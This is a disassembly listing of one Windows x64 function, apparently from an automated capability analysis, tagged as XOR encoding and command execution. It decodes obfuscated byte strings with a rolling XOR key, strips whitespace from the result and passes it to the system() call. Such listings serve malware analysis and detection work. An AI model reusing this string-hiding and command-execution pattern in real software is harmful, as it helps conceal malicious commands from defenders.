Function at 0x140039140
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov r15, rcx
movdqa xmm0, xmmword [0x1400c4c00]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x56a643b
mov dword [rsp + 0x34], 0x38383a2c
mov dword [rsp + 0x38], 0xd0c3b70
mov word [rsp + 0x3c], 0x100
xor r13d, r13d
mov ecx, r13d
nop word [rax + rax]
lea eax, [rcx + 0x46]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x1c
jb 0x1400391a0
mov byte [rsp + 0x3d], r13b
lea rax, [rsp + 0x20]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x20]
call fcn.1400349b0
mov qword [rsp + 0x48], rax
call fcn.1400a9648
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, [rbp + 0x18]
call fcn.140035aa0
nop
lea rcx, [rbp + 0x18]
call fcn.140036460
movzx ebx, al
mov rdx, qword [rbp + 0x30]
cmp rdx, 8
jb 0x14003923e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039239
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039239
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a9aa8
mov rcx, r13
test bl, bl
je 0x140039538
movdqa xmm0, xmmword [0x1400c4d80]
movdqu xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [0x1400c4b20]
movdqu xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [0x1400c50f0]
movdqu xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [str._3MY]
movdqu xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1400c52a0]
movdqu xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x50], 0xbbadd3db
mov word [rbp - 0x4c], 0x100
nop dword [rax]
lea eax, [rcx + 0x46]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x54
jb 0x1400392a0
mov byte [rbp - 0x4b], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x20]
call fcn.140037d10
lea rax, [rsp + 0x20]
mov r14, qword [rsp + 0x20]
mov r12, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
cmp r12, 0x10
jb 0x1400392ea
mov rcx, r14
lea rsi, [r14 + rbx]
lea rdi, [r14 + rbx]
jmp 0x1400392fb
lea rdi, [rax + rbx]
lea rsi, [rsp + 0x20]
add rsi, rbx
lea rcx, [rsp + 0x20]
mov r8, rsi
sub r8, rcx
mov edx, reloc.WLDAP32.dll_Ordinal_32
call sub.VCRUNTIME140.dll_memchr
mov rdx, rsi
test rax, rax
cmovne rdx, rax
cmp rdx, rsi
je 0x140039347
lea rax, [rdx + 1]
cmp rax, rsi
je 0x140039347
movzx ecx, byte [rax]
cmp cl, 0x20
je 0x140039330
mov byte [rdx], cl
inc rdx
inc rax
cmp rax, rsi
jne 0x140039323
mov r12, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov r14, qword [rsp + 0x20]
lea rax, [rsp + 0x20]
sub rdi, rdx
cmp r12, 0x10
jb 0x14003935a
sub rdx, r14
jmp 0x140039362
sub rdx, rax
lea r14, [rsp + 0x20]
mov rax, rbx
sub rax, rdx
cmp rax, rdi
cmovb rdi, rax
lea rcx, [r14 + rdx]
sub rbx, rdi
mov qword [rsp + 0x30], rbx
sub rbx, rdx
lea r8, [rbx + 1]
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsp + 0x20]
mov r14, qword [rsp + 0x20]
mov r12, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
cmp r12, 0x10
jb 0x1400393b2
mov rcx, r14
lea rsi, [r14 + rbx]
lea rdi, [r14 + rbx]
jmp 0x1400393c3
lea rdi, [rbx + rax]
lea rsi, [rsp + 0x20]
add rsi, rbx
lea rcx, [rsp + 0x20]
mov r8, rsi
sub r8, rcx
mov edx, 0xa
call sub.VCRUNTIME140.dll_memchr
mov rdx, rsi
test rax, rax
cmovne rdx, rax
cmp rdx, rsi
je 0x140039414
lea rax, [rdx + 1]
cmp rax, rsi
je 0x140039414
nop dword [rax + rax]
movzx ecx, byte [rax]
cmp cl, 0xa
je 0x1400393fd
mov byte [rdx], cl
inc rdx
inc rax
cmp rax, rsi
jne 0x1400393f0
mov r12, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov r14, qword [rsp + 0x20]
lea rax, [rsp + 0x20]
sub rdi, rdx
cmp r12, 0x10
jb 0x140039427
sub rdx, r14
jmp 0x14003942f
sub rdx, rax
lea r14, [rsp + 0x20]
mov rax, rbx
sub rax, rdx
cmp rax, rdi
cmovb rdi, rax
lea rcx, [r14 + rdx]
sub rbx, rdi
mov qword [rsp + 0x30], rbx
sub rbx, rdx
lea r8, [rbx + 1]
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsp + 0x20]
mov r14, qword [rsp + 0x20]
mov r12, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
cmp r12, 0x10
jb 0x14003947f
mov rcx, r14
lea rsi, [r14 + rbx]
lea rdi, [r14 + rbx]
jmp 0x140039490
lea rdi, [rbx + rax]
lea rsi, [rsp + 0x20]
add rsi, rbx
lea rcx, [rsp + 0x20]
mov r8, rsi
sub r8, rcx
mov edx, reloc.WS2_32.dll_listen
call sub.VCRUNTIME140.dll_memchr
mov rdx, rsi
test rax, rax
cmovne rdx, rax
cmp rdx, rsi
je 0x1400394dc
lea rax, [rdx + 1]
cmp rax, rsi
je 0x1400394dc
movzx ecx, byte [rax]
cmp cl, 0xd
je 0x1400394c5
mov byte [rdx], cl
inc rdx
inc rax
cmp rax, rsi
jne 0x1400394b8
mov r12, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov r14, qword [rsp + 0x20]
lea rax, [rsp + 0x20]
sub rdi, rdx
cmp r12, 0x10
jb 0x1400394ef
sub rdx, r14
jmp 0x1400394f7
sub rdx, rax
lea r14, [rsp + 0x20]
mov rax, rbx
sub rax, rdx
cmp rax, rdi
cmovb rdi, rax
lea rcx, [r14 + rdx]
sub rbx, rdi
mov qword [rsp + 0x30], rbx
sub rbx, rdx
lea r8, [rbx + 1]
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [r15], xmm0
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [r15 + 0x10], xmm1
jmp 0x140039b36
mov dword [rbp + 0xb8], 0x26202423
mov word [rbp + 0xbc], WSAGetLastError
mov byte [rbp + 0xbe], 1
lea eax, [rcx + 0x46]
xor byte [rbp + rcx + 0xb8], al
inc rcx
cmp rcx, 5
jb 0x140039552
mov byte [rbp + 0xbe], 0
mov qword [rbp - 8], r13
mov qword [rbp + 8], r13
mov qword [rbp + 0x10], reloc.WS2_32.dll_ntohs
mov byte [rbp - 8], 0
lea rcx, [rbp + 0xb8]
call fcn.1400349b0
mov r8, rax
lea rdx, [rbp + 0xb8]
lea rcx, [rbp - 8]
call fcn.140037400
nop
movdqa xmm0, xmmword [0x1400c4bf0]
movdqu xmmword [rbp + 0x38], xmm0
movdqa xmm1, xmmword [str._4ii]
movdqu xmmword [rbp + 0x48], xmm1
mov byte [rbp + 0x58], 1
mov rcx, r13
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x46]
xor byte [rbp + rcx + 0x38], al
inc rcx
cmp rcx, 0x1f
jb 0x1400395d0
mov byte [rbp + 0x58], 0
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x10], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x28], 0
lea rcx, [rbp + 0x38]
call fcn.1400349b0
mov r8, rax
lea rdx, [rbp + 0x38]
lea rcx, [rbp - 0x28]
call fcn.140037400
nop
lea rcx, [rbp + 0x60]
call fcn.140038e80
mov rdx, rax
lea rcx, [rbp + 0x18]
call fcn.1400377b0
nop
lea r8, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae r8, qword [rbp - 8]
mov r9, qword [rbp + 8]
mov rcx, rax
call fcn.14004b2c0
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rdx, qword [rbp - 0x28]
mov r8, qword [rbp - 0x18]
lea rcx, [rbp - 0x48]
call fcn.1400454c0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x1400396f4
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400396ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400396ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a9aa8
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x140039742
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003973d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003973d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a9aa8
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x18], 0
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400c4d80]
movdqu xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [0x1400c4b20]
movdqu xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [0x1400c50f0]
movdqu xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [str._3MY]
movdqu xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1400c52a0]
movdqu xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x50], 0xbbadd3db
mov word [rbp - 0x4c], 0x100
mov rcx, r13
nop dword [rax]
lea eax, [rcx + 0x46]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x54
jb 0x1400397c0
mov byte [rbp - 0x4b], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x20]
call fcn.140037d10
lea rax, [rsp + 0x20]
mov r14, qword [rsp + 0x20]
mov r12, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
cmp r12, 0x10
jb 0x14003980a
mov rcx, r14
lea rsi, [r14 + rbx]
lea rdi, [r14 + rbx]
jmp 0x14003981b
lea rdi, [rax + rbx]
lea rsi, [rsp + 0x20]
add rsi, rbx
lea rcx, [rsp + 0x20]
mov r8, rsi
sub r8, rcx
mov edx, reloc.WLDAP32.dll_Ordinal_32
call sub.VCRUNTIME140.dll_memchr
mov rdx, rsi
test rax, rax
cmovne rdx, rax
cmp rdx, rsi
je 0x140039867
lea rax, [rdx + 1]
cmp rax, rsi
je 0x140039867
movzx ecx, byte [rax]
cmp cl, 0x20
je 0x140039850
mov byte [rdx], cl
inc rdx
inc rax
cmp rax, rsi
jne 0x140039843
mov r12, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov r14, qword [rsp + 0x20]
lea rax, [rsp + 0x20]
sub rdi, rdx
cmp r12, 0x10
jb 0x14003987a
sub rdx, r14
jmp 0x140039882
sub rdx, rax
lea r14, [rsp + 0x20]
mov rax, rbx
sub rax, rdx
cmp rax, rdi
cmovb rdi, rax
lea rcx, [r14 + rdx]
sub rbx, rdi
mov qword [rsp + 0x30], rbx
sub rbx, rdx
lea r8, [rbx + 1]
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsp + 0x20]
mov r14, qword [rsp + 0x20]
mov r12, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
cmp r12, 0x10
jb 0x1400398d2
mov rcx, r14
lea rsi, [r14 + rbx]
lea rdi, [r14 + rbx]
jmp 0x1400398e3
lea rdi, [rax + rbx]
lea rsi, [rsp + 0x20]
add rsi, rbx
lea rcx, [rsp + 0x20]
mov r8, rsi
sub r8, rcx
mov edx, 0xa
call sub.VCRUNTIME140.dll_memchr
mov rdx, rsi
test rax, rax
cmovne rdx, rax
cmp rdx, rsi
je 0x140039934
lea rax, [rdx + 1]
cmp rax, rsi
je 0x140039934
nop dword [rax + rax]
movzx ecx, byte [rax]
cmp cl, 0xa
je 0x14003991d
mov byte [rdx], cl
inc rdx
inc rax
cmp rax, rsi
jne 0x140039910
mov r12, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov r14, qword [rsp + 0x20]
lea rax, [rsp + 0x20]
sub rdi, rdx
cmp r12, 0x10
jb 0x140039947
sub rdx, r14
jmp 0x14003994f
sub rdx, rax
lea r14, [rsp + 0x20]
mov rax, rbx
sub rax, rdx
cmp rax, rdi
cmovb rdi, rax
lea rcx, [rdx + r14]
sub rbx, rdi
mov qword [rsp + 0x30], rbx
sub rbx, rdx
lea r8, [rbx + 1]
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsp + 0x20]
mov r14, qword [rsp + 0x20]
mov r12, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
cmp r12, 0x10
jb 0x14003999f
mov rcx, r14
lea rsi, [r14 + rbx]
lea rdi, [r14 + rbx]
jmp 0x1400399b0
lea rdi, [rax + rbx]
lea rsi, [rsp + 0x20]
add rsi, rbx
lea rcx, [rsp + 0x20]
mov r8, rsi
sub r8, rcx
mov edx, reloc.WS2_32.dll_listen
call sub.VCRUNTIME140.dll_memchr
mov rdx, rsi
test rax, rax
cmovne rdx, rax
cmp rdx, rsi
je 0x1400399fc
lea rax, [rdx + 1]
cmp rax, rsi
je 0x1400399fc
movzx ecx, byte [rax]
cmp cl, 0xd
je 0x1400399e5
mov byte [rdx], cl
inc rdx
inc rax
cmp rax, rsi
jne 0x1400399d8
mov r12, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov r14, qword [rsp + 0x20]
lea rax, [rsp + 0x20]
sub rdi, rdx
cmp r12, 0x10
jb 0x140039a0f
sub rdx, r14
jmp 0x140039a17
sub rdx, rax
lea r14, [rsp + 0x20]
mov rax, rbx
sub rax, rdx
cmp rax, rdi
cmovb rdi, rax
lea rcx, [r14 + rdx]
sub rbx, rdi
mov qword [rsp + 0x30], rbx
sub rbx, rdx
lea r8, [rbx + 1]
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [r15], xmm0
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [r15 + 0x10], xmm1
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x20], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140039aa6
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039aa1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039aa1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a9aa8
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x140039af8
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039af2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039af2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a9aa8
nop
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x140039b36
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039b31
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039b31
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a9aa8
mov rax, r15
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret